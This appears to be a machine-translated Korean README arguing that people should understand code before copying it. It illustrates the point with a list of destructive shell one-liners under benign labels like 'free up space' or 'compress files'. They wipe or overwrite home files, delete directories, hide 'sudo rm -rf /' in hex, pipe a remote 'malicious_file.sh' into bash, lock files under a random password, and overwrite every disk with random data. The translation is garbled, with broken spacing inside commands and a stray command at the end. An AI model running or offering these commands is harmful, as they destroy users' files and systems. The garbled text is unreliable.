my one page argument for learning to code
1.0.0
나는 종종 사람들이 자신을 '복사하고 붙여 넣는'코더라고 부르는 것을 듣는다. 그리고 복사와 붙여 넣기는 합법적 인 일이지만, 일을하는 유일한 방법이되어서는 안됩니다. 더 나은 방법은 코드를 찾아서 수행 한 작업을보고 재창조 한 다음 최소한으로 복사하지만 정확히 무엇을하는지 알고있는 것입니다.
다음은 의도하지 않은 결과가있는 코드의 작은 예입니다.
"인터넷에서 찾은 코드를 실행하는 것은 지하철에서 찾은 껌과 같습니다."
A. 문서 구문을 크게 단순화합니다.
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "B. 불필요한 공간을 해방합니다.
du ~ / | grep -o ' /.* ' | xargs rm -r --C. 파일을 inficentcy를 향상시킵니다.
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D. 무제한 스토리지를 사용하여 파일/폴더를 볼륨으로 이동합니다.
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE. 모든 부도시 공간을 해방합니다.
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullF. 모르는 껌을 씹으십시오.
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G.는 불필요한 공간을 자유롭게합니다.
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H. 파일 압축 및 공간 저장 :
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *I. 외부 볼륨의 요구를 줄이기 :
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ. 단순히 파일과 삶 :
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K. 현재 파일을 사용하여 홈 폴더에 파일 로그를 유지하십시오.
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L. 파일을 제거하지 않고 디스크 공간을 잘라냅니다.
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/